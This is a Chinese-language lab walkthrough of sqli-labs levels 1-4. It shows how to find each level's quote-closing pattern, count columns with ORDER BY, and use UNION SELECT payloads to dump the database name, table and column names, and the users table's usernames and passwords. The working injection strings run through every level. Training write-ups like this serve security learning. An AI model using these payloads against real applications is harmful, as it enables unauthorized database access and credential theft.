Sqli-labs(1-4)基于GET报错的sql注入

sqli-lab(1-4)基于GET报错的注入
sqli-lab(1)
在地址后面输入?id=1,说明存在注入点。
在这里插入图片描述
闭合报错
在这里插入图片描述
后边跟order by 1–+ 没有报错
在这里插入图片描述
order by 3–+没有报错

在这里插入图片描述
在尝试order by 4–+结果报错,说明这一行中存在三个字段

在这里插入图片描述
下面使用union联合查询语句
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
?id=0’ UNION SELECT 1,2,3–+ 爆出2,3列可以利用,可以利用database(),user(),verison()函数得到数据库库名,用户名,数据库版本等
在这里插入图片描述
已经猜解到数据库security,接下来利用语句获取到表名,其中我们想要的是users表。

?id=0' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

在这里插入图片描述
接下来利用sql语句获取字段名,我们想要的是username,password字段

?id=0' UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述
下面利用sql语句得到username,password字段的内容

?id=0' UNION SELECT 1,group_concat(username,'|',password),3 from users--+

在这里插入图片描述
sqli-lab(2)
同sqli-lab(1)一样先?id=1
在这里插入图片描述
我们单引号闭合一下,结果报错
在这里插入图片描述
单引号去掉试一下
在这里插入图片描述
用lab(1)的方法测试一下,2和3都没问题,4出现错误,说明只有三个字段
在这里插入图片描述
在这里插入图片描述
同第一关一样就是没有闭合单引号

?id=0 UNION SELECT 1,2,3--+

在这里插入图片描述
同样不需要闭合单引号

?id=0 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

在这里插入图片描述

?id=0 UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述

?id=0 UNION SELECT 1,group_concat(username,'|',password),3 from users--+

在这里插入图片描述
sqli-labs(3)
首先尝试不闭合,也不报错啥的。
在这里插入图片描述
尝试单引号闭合,结果报错,不是我们想要的
在这里插入图片描述
双引号也不报错,再试!
在这里插入图片描述
尝试使用’)闭合结果使我们想要的

?id=1') order by 4--+

在这里插入图片描述
同1、2关一样不过只是闭合的方式不同

?id=0') UNION SELECT 1,2,3--+

在这里插入图片描述
sql函数爆出数据库名称和用户名

?id=0') UNION SELECT 1,database(),user()--+

在这里插入图片描述
爆出数据库中的表名

?id=0') UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述
爆出users表里边的字段

?id=0') UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述
爆出字段里的内容

?id=0') UNION SELECT 1,group_concat('USER:',username,'PASS:',password),3 from users--+

在这里插入图片描述
sqli-labs(4)
先试试不同的闭合方式

?id=1' order by 4--+

在这里插入图片描述

?id=1') order by 4--+

在这里插入图片描述

?id=1" order by 4--+

这里报错,好像是用")闭合
在这里插入图片描述

?id=1") order by 3--+
?id=1") order by 4--+

结果是我们想要的
在这里插入图片描述
在这里插入图片描述
union注入一下

?id=0") UNION SELECT 1,2,3--+

在这里插入图片描述

?id=0") UNION SELECT 1,database(),3--+

在这里插入图片描述

?id=0") UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述

?id=0") UNION SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述

?id=0") UNION SELECT 1,group_concat(username,'|',password),3 from users--+

在这里插入图片描述

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值